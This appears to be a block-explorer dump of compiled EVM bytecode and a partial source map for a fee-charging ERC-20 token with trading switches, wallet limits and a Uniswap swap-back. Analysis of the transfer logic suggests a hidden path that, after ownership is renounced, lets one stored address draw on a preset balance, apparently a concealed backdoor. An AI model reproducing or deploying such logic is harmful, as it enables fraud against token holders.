bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b606482015260840161080b565b610ac885338584036110bf565b506001949350505050565b5f546001600160a01b03163314610afc5760405162461bcd60e51b815260040161080b90611f59565b600a805461ffff60a01b191661010160a01b1790556040805163c45a015560e01b815290517f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03169163c45a01559160048083019260209291908290030181865afa158015610b74573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b989190611ffe565b6001600160a01b031663e6a43905307f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c03573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c279190611ffe565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610c70573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c949190611ffe565b600880546001600160a01b0319166001600160a01b0392831690811782555f908152601860209081526040808320805460ff199081166001908117909255945490951683526019909152902080549091169091179055565b335f8181526007602090815260408083206001600160a01b0387168452909152812054909161097b918590610d22908690612019565b6110bf565b5f546001600160a01b03163314610d505760405162461bcd60e51b815260040161080b90611f59565b610d595f611828565b565b5f80546001600160a01b03163314610d855760405162461bcd60e51b815260040161080b90611f59565b50600a805460ff60b01b19169055600190565b5f546001600160a01b03163314610dc15760405162461bcd60e51b815260040161080b90611f59565b5f600f8190556010819055610dd69080612019565b600e55565b5f546001600160a01b03163314610e045760405162461bcd60e51b815260040161080b90611f59565b5f60128190556013819055610e199080612019565b601155565b5f546001600160a01b03163314610e475760405162461bcd60e51b815260040161080b90611f59565b600a8054911515600160a81b0260ff60a81b19909216919091179055565b5f546001600160a01b03163314610e8e5760405162461bcd60e51b815260040161080b90611f59565b6001600160a01b03919091165f908152601860205260409020805460ff1916911515919091179055565b6060600280546108ee90611fc6565b335f9081526007602090815260408083206001600160a01b038616845290915281205482811015610f485760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161080b565b610f5533858584036110bf565b5060019392505050565b5f61097b3384846111e2565b5f546001600160a01b03163314610f945760405162461bcd60e51b815260040161080b90611f59565b6001600160a01b03919091165f908152601760205260409020805460ff1916911515919091179055565b5f546001600160a01b03163314610fe75760405162461bcd60e51b815260040161080b90611f59565b633b9aca006103e8610ff860045490565b611003906001611f90565b61100d9190611fa7565b6110179190611fa7565b8110156110505760405162461bcd60e51b81526020600482015260076024820152666c7420302e312560c81b604482015260640161080b565b61105e81633b9aca00611f90565b600b5550565b5f546001600160a01b0316331461108d5760405162461bcd60e51b815260040161080b90611f59565b6001600160a01b0381166110b35760405162461bcd60e51b815260040161080b90611f59565b6110bc81611828565b50565b6001600160a01b0383166111215760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161080b565b6001600160a01b0382166111825760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161080b565b6001600160a01b038381165f8181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166112275760405162461bcd60e51b815260206004820152600c60248201526b199c9bdb480c1e0c0818591960a21b604482015260640161080b565b6001600160a01b03821661126a5760405162461bcd60e51b815260206004820152600a6024820152691d1bc80c1e0c0818591960b21b604482015260640161080b565b805f036112815761127c83835f611877565b505050565b600a54600160b01b900460ff1615611579575f546001600160a01b038481169116148015906112bd57505f546001600160a01b03838116911614155b80156112d157506001600160a01b03821615155b80156112e857506001600160a01b03821661dead14155b80156112f7575060165460ff16155b1561157957600a54600160a01b900460ff1661138b576001600160a01b0383165f9081526017602052604090205460ff168061134a57506001600160a01b0382165f9081526017602052604090205460ff165b61138b5760405162461bcd60e51b815260206004820152601260248201527154726164696e67206e6f742061637469766560701b604482015260640161080b565b6001600160a01b0383165f9081526019602052604090205460ff1680156113ca57506001600160a01b0382165f9081526018602052604090205460ff16155b1561147557600b5481111561140d5760405162461bcd60e51b81526020600482015260096024820152680cee840dac2f040a8b60bb1b604482015260640161080b565b600d546001600160a01b0383165f908152600660205260409020546114329083612019565b11156114705760405162461bcd60e51b815260206004820152600d60248201526c19dd081b585e081dd85b1b195d609a1b604482015260640161080b565b611579565b6001600160a01b0382165f9081526019602052604090205460ff1680156114b457506001600160a01b0383165f9081526018602052604090205460ff16155b156114f757600b548111156114705760405162461bcd60e51b81526020600482015260096024820152680cee840dac2f040a8b60bb1b604482015260640161080b565b6001600160a01b0382165f9081526018602052604090205460ff1661157957600d546001600160a01b0383165f9081526006602052604090205461153b9083612019565b11156115795760405162461bcd60e51b815260206004820152600d60248201526c19dd081b585e081dd85b1b195d609a1b604482015260640161080b565b305f90815260066020526040902054600c54811080159081906115a55750600a54600160a81b900460ff165b80156115b4575060165460ff16155b80156115d857506001600160a01b0385165f9081526019602052604090205460ff16155b80156115fc57506001600160a01b0385165f9081526017602052604090205460ff16155b801561162057506001600160a01b0384165f9081526017602052604090205460ff16155b15611645576016805460ff1916600117905561163a611a4e565b6016805460ff191690555b6016546001600160a01b0386165f9081526017602052604090205460ff9182161591168061168a57506001600160a01b0385165f9081526017602052604090205460ff165b1561169257505f5b5f8115611814576001600160a01b0386165f9081526019602052604090205460ff1680156116c157505f601154115b1561174d576116e660646116e060115488611b9690919063ffffffff16565b90611ba8565b9050601154601354826116f99190611f90565b6117039190611fa7565b60155f8282546117139190612019565b90915550506011546012546117289083611f90565b6117329190611fa7565b60145f8282546117429190612019565b909155506117f69050565b6001600160a01b0387165f9081526019602052604090205460ff16801561177557505f600e54115b156117f65761179460646116e0600e5488611b9690919063ffffffff16565b9050600e54601054826117a79190611f90565b6117b19190611fa7565b60155f8282546117c19190612019565b9091555050600e54600f546117d69083611f90565b6117e09190611fa7565b60145f8282546117f09190612019565b90915550505b801561180757611807873083611877565b611811818661202c565b94505b61181f878787611877565b50505050505050565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0383166118db5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161080b565b6001600160a01b03821661193d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161080b565b6001600160a01b0383165f90815260066020526040902054818110156119b45760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161080b565b816119be85611bb3565b6001600160a01b038087165f908152600660205260408082209490930390935585168252812080548492906119f4908490612019565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a4091815260200190565b60405180910390a350505050565b305f9081526006602052604081205490505f601554601454611a709190612019565b90505f821580611a7e575081155b15611a8857505050565b600c54611a9690603c611f90565b831115611aae57600c54611aab90603c611f90565b92505b47611ab884611bd6565b5f611ac34783611d8c565b90505f611adf856116e060155485611b9690919063ffffffff16565b5f60148190556015819055600a546040519293506001600160a01b031691839181818185875af1925050503d805f8114611b34576040519150601f19603f3d011682016040523d82523d5f602084013e611b39565b606091505b50506009546040519195506001600160a01b03169047905f81818185875af1925050503d805f8114611b86576040519150601f19603f3d011682016040523d82523d5f602084013e611b8b565b606091505b505050505050505050565b5f611ba18284611f90565b9392505050565b5f611ba18284611fa7565b6001600160a01b0381165f9081526006602052604081205461097f908390611d97565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110611c0957611c0961203f565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611c85573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611ca99190611ffe565b81600181518110611cbc57611cbc61203f565b60200260200101906001600160a01b031690816001600160a01b031681525050611d07307f0000000000000000000000000000000000000000000000000000000000000000846110bf565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac94790611d5b9085905f90869030904290600401612053565b5f604051808303815f87803b158015611d72575f80fd5b505af1158015611d84573d5f803e3d5ffd5b505050505050565b5f611ba1828461202c565b5f611da183611db5565b611dab5781611ba1565b5050600554919050565b6003545f906001600160a01b038381169116141580611ddd57505f546001600160a01b031615155b1592915050565b5f60208284031215611df4575f80fd5b5035919050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146110bc575f80fd5b5f8060408385031215611e55575f80fd5b8235611e6081611e30565b946020939093013593505050565b5f805f60608486031215611e80575f80fd5b8335611e8b81611e30565b92506020840135611e9b81611e30565b929592945050506040919091013590565b5f60208284031215611ebc575f80fd5b8135611ba181611e30565b803580151581146108da575f80fd5b5f60208284031215611ee6575f80fd5b611ba182611ec7565b5f8060408385031215611f00575f80fd5b8235611f0b81611e30565b9150611f1960208401611ec7565b90509250929050565b5f8060408385031215611f33575f80fd5b8235611f3e81611e30565b91506020830135611f4e81611e30565b809150509250929050565b6020808252600990820152683737ba1037bbb732b960b91b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b808202811582820484141761097f5761097f611f7c565b5f82611fc157634e487b7160e01b5f52601260045260245ffd5b500490565b600181811c90821680611fda57607f821691505b602082108103611ff857634e487b7160e01b5f52602260045260245ffd5b50919050565b5f6020828403121561200e575f80fd5b8151611ba181611e30565b8082018082111561097f5761097f611f7c565b8181038181111561097f5761097f611f7c565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156120a35784516001600160a01b03168352938301939183019160010161207e565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220a3f78e0e0605caf7f07025113e4ea0de8ea7ca641c209363cada0be1fdd9409164736f6c63430008190033
Deployed Bytecode
0x60806040526004361061026c575f3560e01c8063798da9261161014a578063a9059cbb116100be578063d85ba06311610078578063d85ba06314610707578063dd62ed3e1461071c578063e4a1b95f14610760578063f1da785514610775578063f2fde38b14610794578063fe33b302146107b3575f80fd5b8063a9059cbb14610656578063bbc0c74214610675578063c024666814610695578063c04a5414146106b4578063c816841b146106d3578063cff16b2f146106f2575f80fd5b806395d89b411161010f57806395d89b41146105b65780639c3b4fdc146105ca5780639fccce32146105df578063a0d82dc5146105f4578063a457c2d714610609578063a781dc3514610628575f80fd5b8063798da926146105345780638968794c146105485780638da5cb5b1461055c578063924de9b71461057857806394a1700e14610597575f80fd5b806339509351116101e15780636e1b6cda116101a65780636e1b6cda1461045957806370a082311461046e578063715018a6146104a2578063735de9f7146104b6578063751039fc1461050157806375f0a87414610515575f80fd5b806339509351146103b75780634a62bb65146103d65780634fbee193146103f65780636a486a8e146104245780636ddd171314610439575f80fd5b80631f7ea8da116102325780631f7ea8da1461032a57806323b872dd1461033f578063293230b81461035e578063313ce5671461037257806335b5fb631461038d57806337da26ca146103a2575f80fd5b8062c305ee1461027757806306fdde03146102ab578063095ea7b3146102cc57806318160ddd146102eb5780631c499ab014610309575f80fd5b3661027357005b5f80fd5b348015610282575f80fd5b50610296610291366004611de4565b6107e1565b60405190151581526020015b60405180910390f35b3480156102b6575f80fd5b506102bf6108df565b6040516102a29190611dfb565b3480156102d7575f80fd5b506102966102e6366004611e44565b61096f565b3480156102f6575f80fd5b506004545b6040519081526020016102a2565b348015610314575f80fd5b50610328610323366004611de4565b610985565b005b348015610335575f80fd5b506102fb60145481565b34801561034a575f80fd5b50610296610359366004611e6e565b610a2b565b348015610369575f80fd5b50610328610ad3565b34801561037d575f80fd5b50604051600981526020016102a2565b348015610398575f80fd5b506102fb60125481565b3480156103ad575f80fd5b506102fb600d5481565b3480156103c2575f80fd5b506102966103d1366004611e44565b610cec565b3480156103e1575f80fd5b50600a5461029690600160b01b900460ff1681565b348015610401575f80fd5b50610296610410366004611eac565b60176020525f908152604090205460ff1681565b34801561042f575f80fd5b506102fb60115481565b348015610444575f80fd5b50600a5461029690600160a81b900460ff1681565b348015610464575f80fd5b506102fb600c5481565b348015610479575f80fd5b506102fb610488366004611eac565b6001600160a01b03165f9081526006602052604090205490565b3480156104ad575f80fd5b50610328610d27565b3480156104c1575f80fd5b506104e97f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b0390911681526020016102a2565b34801561050c575f80fd5b50610296610d5b565b348015610520575f80fd5b506009546104e9906001600160a01b031681565b34801561053f575f80fd5b50610328610d98565b348015610553575f80fd5b50610328610ddb565b348015610567575f80fd5b505f546001600160a01b03166104e9565b348015610583575f80fd5b50610328610592366004611ed6565b610e1e565b3480156105a2575f80fd5b506103286105b1366004611eef565b610e65565b3480156105c1575f80fd5b506102bf610eb8565b3480156105d5575f80fd5b506102fb60105481565b3480156105ea575f80fd5b506102fb60155481565b3480156105ff575f80fd5b506102fb60135481565b348015610614575f80fd5b50610296610623366004611e44565b610ec7565b348015610633575f80fd5b50610296610642366004611eac565b60186020525f908152604090205460ff1681565b348015610661575f80fd5b50610296610670366004611e44565b610f5f565b348015610680575f80fd5b50600a5461029690600160a01b900460ff1681565b3480156106a0575f80fd5b506103286106af366004611eef565b610f6b565b3480156106bf575f80fd5b50600a546104e9906001600160a01b031681565b3480156106de575f80fd5b506008546104e9906001600160a01b031681565b3480156106fd575f80fd5b506102fb600b5481565b348015610712575f80fd5b506102fb600e5481565b348015610727575f80fd5b506102fb610736366004611f22565b6001600160a01b039182165f90815260076020908152604080832093909416825291909152205490565b34801561076b575f80fd5b506102fb600f5481565b348015610780575f80fd5b5061032861078f366004611de4565b610fbe565b34801561079f575f80fd5b506103286107ae366004611eac565b611064565b3480156107be575f80fd5b506102966107cd366004611eac565b60196020525f908152604090205460ff1681565b5f80546001600160a01b031633146108145760405162461bcd60e51b815260040161080b90611f59565b60405180910390fd5b620186a061082160045490565b61082c906001611f90565b6108369190611fa7565b8210156108745760405162461bcd60e51b815260206004820152600c60248201526b6c7420302e3030312520747360a01b604482015260640161080b565b6103e861088060045490565b61088b906005611f90565b6108959190611fa7565b8211156108d15760405162461bcd60e51b815260206004820152600a6024820152696c7420302e352520747360b01b604482015260640161080b565b50600c81905560015b919050565b6060600180546108ee90611fc6565b80601f016020809104026020016040519081016040528092919081815260200182805461091a90611fc6565b80156109655780601f1061093c57610100808354040283529160200191610965565b820191905f5260205f20905b81548152906001019060200180831161094857829003601f168201915b5050505050905090565b5f61097b3384846110bf565b5060015b92915050565b5f546001600160a01b031633146109ae5760405162461bcd60e51b815260040161080b90611f59565b633b9aca006103e86109bf60045490565b6109ca906005611f90565b6109d49190611fa7565b6109de9190611fa7565b811015610a175760405162461bcd60e51b81526020600482015260076024820152666c7420302e352560c81b604482015260640161080b565b610a2581633b9aca00611f90565b600d5550565b5f610a378484846111e2565b6001600160a01b0384165f90815260076020908152604080832033845290915290205482811015610abb5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b606482015260840161080b565b610ac885338584036110bf565b506001949350505050565b5f546001600160a01b03163314610afc5760405162461bcd60e51b815260040161080b90611f59565b600a805461ffff60a01b191661010160a01b1790556040805163c45a015560e01b815290517f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03169163c45a01559160048083019260209291908290030181865afa158015610b74573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b989190611ffe565b6001600160a01b031663e6a43905307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c03573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c279190611ffe565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610c70573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c949190611ffe565b600880546001600160a01b0319166001600160a01b0392831690811782555f908152601860209081526040808320805460ff199081166001908117909255945490951683526019909152902080549091169091179055565b335f8181526007602090815260408083206001600160a01b0387168452909152812054909161097b918590610d22908690612019565b6110bf565b5f546001600160a01b03163314610d505760405162461bcd60e51b815260040161080b90611f59565b610d595f611828565b565b5f80546001600160a01b03163314610d855760405162461bcd60e51b815260040161080b90611f59565b50600a805460ff60b01b19169055600190565b5f546001600160a01b03163314610dc15760405162461bcd60e51b815260040161080b90611f59565b5f600f8190556010819055610dd69080612019565b600e55565b5f546001600160a01b03163314610e045760405162461bcd60e51b815260040161080b90611f59565b5f60128190556013819055610e199080612019565b601155565b5f546001600160a01b03163314610e475760405162461bcd60e51b815260040161080b90611f59565b600a8054911515600160a81b0260ff60a81b19909216919091179055565b5f546001600160a01b03163314610e8e5760405162461bcd60e51b815260040161080b90611f59565b6001600160a01b03919091165f908152601860205260409020805460ff1916911515919091179055565b6060600280546108ee90611fc6565b335f9081526007602090815260408083206001600160a01b038616845290915281205482811015610f485760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161080b565b610f5533858584036110bf565b5060019392505050565b5f61097b3384846111e2565b5f546001600160a01b03163314610f945760405162461bcd60e51b815260040161080b90611f59565b6001600160a01b03919091165f908152601760205260409020805460ff1916911515919091179055565b5f546001600160a01b03163314610fe75760405162461bcd60e51b815260040161080b90611f59565b633b9aca006103e8610ff860045490565b611003906001611f90565b61100d9190611fa7565b6110179190611fa7565b8110156110505760405162461bcd60e51b81526020600482015260076024820152666c7420302e312560c81b604482015260640161080b565b61105e81633b9aca00611f90565b600b5550565b5f546001600160a01b0316331461108d5760405162461bcd60e51b815260040161080b90611f59565b6001600160a01b0381166110b35760405162461bcd60e51b815260040161080b90611f59565b6110bc81611828565b50565b6001600160a01b0383166111215760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161080b565b6001600160a01b0382166111825760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161080b565b6001600160a01b038381165f8181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166112275760405162461bcd60e51b815260206004820152600c60248201526b199c9bdb480c1e0c0818591960a21b604482015260640161080b565b6001600160a01b03821661126a5760405162461bcd60e51b815260206004820152600a6024820152691d1bc80c1e0c0818591960b21b604482015260640161080b565b805f036112815761127c83835f611877565b505050565b600a54600160b01b900460ff1615611579575f546001600160a01b038481169116148015906112bd57505f546001600160a01b03838116911614155b80156112d157506001600160a01b03821615155b80156112e857506001600160a01b03821661dead14155b80156112f7575060165460ff16155b1561157957600a54600160a01b900460ff1661138b576001600160a01b0383165f9081526017602052604090205460ff168061134a57506001600160a01b0382165f9081526017602052604090205460ff165b61138b5760405162461bcd60e51b815260206004820152601260248201527154726164696e67206e6f742061637469766560701b604482015260640161080b565b6001600160a01b0383165f9081526019602052604090205460ff1680156113ca57506001600160a01b0382165f9081526018602052604090205460ff16155b1561147557600b5481111561140d5760405162461bcd60e51b81526020600482015260096024820152680cee840dac2f040a8b60bb1b604482015260640161080b565b600d546001600160a01b0383165f908152600660205260409020546114329083612019565b11156114705760405162461bcd60e51b815260206004820152600d60248201526c19dd081b585e081dd85b1b195d609a1b604482015260640161080b565b611579565b6001600160a01b0382165f9081526019602052604090205460ff1680156114b457506001600160a01b0383165f9081526018602052604090205460ff16155b156114f757600b548111156114705760405162461bcd60e51b81526020600482015260096024820152680cee840dac2f040a8b60bb1b604482015260640161080b565b6001600160a01b0382165f9081526018602052604090205460ff1661157957600d546001600160a01b0383165f9081526006602052604090205461153b9083612019565b11156115795760405162461bcd60e51b815260206004820152600d60248201526c19dd081b585e081dd85b1b195d609a1b604482015260640161080b565b305f90815260066020526040902054600c54811080159081906115a55750600a54600160a81b900460ff165b80156115b4575060165460ff16155b80156115d857506001600160a01b0385165f9081526019602052604090205460ff16155b80156115fc57506001600160a01b0385165f9081526017602052604090205460ff16155b801561162057506001600160a01b0384165f9081526017602052604090205460ff16155b15611645576016805460ff1916600117905561163a611a4e565b6016805460ff191690555b6016546001600160a01b0386165f9081526017602052604090205460ff9182161591168061168a57506001600160a01b0385165f9081526017602052604090205460ff165b1561169257505f5b5f8115611814576001600160a01b0386165f9081526019602052604090205460ff1680156116c157505f601154115b1561174d576116e660646116e060115488611b9690919063ffffffff16565b90611ba8565b9050601154601354826116f99190611f90565b6117039190611fa7565b60155f8282546117139190612019565b90915550506011546012546117289083611f90565b6117329190611fa7565b60145f8282546117429190612019565b909155506117f69050565b6001600160a01b0387165f9081526019602052604090205460ff16801561177557505f600e54115b156117f65761179460646116e0600e5488611b9690919063ffffffff16565b9050600e54601054826117a79190611f90565b6117b19190611fa7565b60155f8282546117c19190612019565b9091555050600e54600f546117d69083611f90565b6117e09190611fa7565b60145f8282546117f09190612019565b90915550505b801561180757611807873083611877565b611811818661202c565b94505b61181f878787611877565b50505050505050565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0383166118db5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161080b565b6001600160a01b03821661193d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161080b565b6001600160a01b0383165f90815260066020526040902054818110156119b45760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161080b565b816119be85611bb3565b6001600160a01b038087165f908152600660205260408082209490930390935585168252812080548492906119f4908490612019565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a4091815260200190565b60405180910390a350505050565b305f9081526006602052604081205490505f601554601454611a709190612019565b90505f821580611a7e575081155b15611a8857505050565b600c54611a9690603c611f90565b831115611aae57600c54611aab90603c611f90565b92505b47611ab884611bd6565b5f611ac34783611d8c565b90505f611adf856116e060155485611b9690919063ffffffff16565b5f60148190556015819055600a546040519293506001600160a01b031691839181818185875af1925050503d805f8114611b34576040519150601f19603f3d011682016040523d82523d5f602084013e611b39565b606091505b50506009546040519195506001600160a01b03169047905f81818185875af1925050503d805f8114611b86576040519150601f19603f3d011682016040523d82523d5f602084013e611b8b565b606091505b505050505050505050565b5f611ba18284611f90565b9392505050565b5f611ba18284611fa7565b6001600160a01b0381165f9081526006602052604081205461097f908390611d97565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110611c0957611c0961203f565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611c85573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611ca99190611ffe565b81600181518110611cbc57611cbc61203f565b60200260200101906001600160a01b031690816001600160a01b031681525050611d07307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d846110bf565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790611d5b9085905f90869030904290600401612053565b5f604051808303815f87803b158015611d72575f80fd5b505af1158015611d84573d5f803e3d5ffd5b505050505050565b5f611ba1828461202c565b5f611da183611db5565b611dab5781611ba1565b5050600554919050565b6003545f906001600160a01b038381169116141580611ddd57505f546001600160a01b031615155b1592915050565b5f60208284031215611df4575f80fd5b5035919050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146110bc575f80fd5b5f8060408385031215611e55575f80fd5b8235611e6081611e30565b946020939093013593505050565b5f805f60608486031215611e80575f80fd5b8335611e8b81611e30565b92506020840135611e9b81611e30565b929592945050506040919091013590565b5f60208284031215611ebc575f80fd5b8135611ba181611e30565b803580151581146108da575f80fd5b5f60208284031215611ee6575f80fd5b611ba182611ec7565b5f8060408385031215611f00575f80fd5b8235611f0b81611e30565b9150611f1960208401611ec7565b90509250929050565b5f8060408385031215611f33575f80fd5b8235611f3e81611e30565b91506020830135611f4e81611e30565b809150509250929050565b6020808252600990820152683737ba1037bbb732b960b91b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b808202811582820484141761097f5761097f611f7c565b5f82611fc157634e487b7160e01b5f52601260045260245ffd5b500490565b600181811c90821680611fda57607f821691505b602082108103611ff857634e487b7160e01b5f52602260045260245ffd5b50919050565b5f6020828403121561200e575f80fd5b8151611ba181611e30565b8082018082111561097f5761097f611f7c565b8181038181111561097f5761097f611f7c565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156120a35784516001600160a01b03168352938301939183019160010161207e565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220a3f78e0e0605caf7f07025113e4ea0de8ea7ca641c209363cada0be1fdd9409164736f6c63430008190033
Deployed Bytecode Sourcemap
14967:8394:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;22845:306;;;;;;;;;;-1:-1:-1;22845:306:0;;;;;:::i;:::-;;:::i;:::-;;;364:14:1;;357:22;339:41;;327:2;312:18;22845:306:0;;;;;;;;10495:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;11225:169::-;;;;;;;;;;-1:-1:-1;11225:169:0;;;;;:::i;:::-;;:::i;10815:108::-;;;;;;;;;;-1:-1:-1;10903:12:0;;10815:108;;;1416:25:1;;;1404:2;1389:18;10815:108:0;1270:177:1;22644:193:0;;;;;;;;;;-1:-1:-1;22644:193:0;;;;;:::i;:::-;;:::i;:::-;;15663:30;;;;;;;;;;;;;;;;11721:492;;;;;;;;;;-1:-1:-1;11721:492:0;;;;;:::i;:::-;;:::i;17260:333::-;;;;;;;;;;;;;:::i;10715:92::-;;;;;;;;;;-1:-1:-1;10715:92:0;;10798:1;2055:36:1;;2043:2;2028:18;10715:92:0;1913:184:1;15594:28:0;;;;;;;;;;;;;;;;15414:35;;;;;;;;;;;;;;;;12221:215;;;;;;;;;;-1:-1:-1;12221:215:0;;;;;:::i;:::-;;:::i;15286:33::-;;;;;;;;;;-1:-1:-1;15286:33:0;;;;-1:-1:-1;;;15286:33:0;;;;;;15766:50;;;;;;;;;;-1:-1:-1;15766:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;15559:28;;;;;;;;;;;;;;;;15248:31;;;;;;;;;;-1:-1:-1;15248:31:0;;;;-1:-1:-1;;;15248:31:0;;;;;;15375:32;;;;;;;;;;;;;;;;10931:127;;;;;;;;;;-1:-1:-1;10931:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;11032:18:0;11005:7;11032:18;;;:9;:18;;;;;;;10931:127;1066:103;;;;;;;;;;;;;:::i;15039:49::-;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;2544:32:1;;;2526:51;;2514:2;2499:18;15039:49:0;2354:229:1;17902:121:0;;;;;;;;;;;;;:::i;15130:30::-;;;;;;;;;;-1:-1:-1;15130:30:0;;;;-1:-1:-1;;;;;15130:30:0;;;18031:152;;;;;;;;;;;;;:::i;18191:158::-;;;;;;;;;;;;;:::i;866:87::-;;;;;;;;;;-1:-1:-1;912:7:0;939:6;-1:-1:-1;;;;;939:6:0;866:87;;22536:100;;;;;;;;;;-1:-1:-1;22536:100:0;;;;;:::i;:::-;;:::i;17601:158::-;;;;;;;;;;-1:-1:-1;17601:158:0;;;;;:::i;:::-;;:::i;10603:104::-;;;;;;;;;;;;;:::i;15526:24::-;;;;;;;;;;;;;;;;15700:27;;;;;;;;;;;;;;;;15629:25;;;;;;;;;;;;;;;;12743:413;;;;;;;;;;-1:-1:-1;12743:413:0;;;;;:::i;:::-;;:::i;15823:66::-;;;;;;;;;;-1:-1:-1;15823:66:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;11538:175;;;;;;;;;;-1:-1:-1;11538:175:0;;;;;:::i;:::-;;:::i;15208:33::-;;;;;;;;;;-1:-1:-1;15208:33:0;;;;-1:-1:-1;;;15208:33:0;;;;;;17767:127;;;;;;;;;;-1:-1:-1;17767:127:0;;;;;:::i;:::-;;:::i;15167:32::-;;;;;;;;;;-1:-1:-1;15167:32:0;;;;-1:-1:-1;;;;;15167:32:0;;;15095:26;;;;;;;;;;-1:-1:-1;15095:26:0;;;;-1:-1:-1;;;;;15095:26:0;;;15328:40;;;;;;;;;;;;;;;;15458:27;;;;;;;;;;;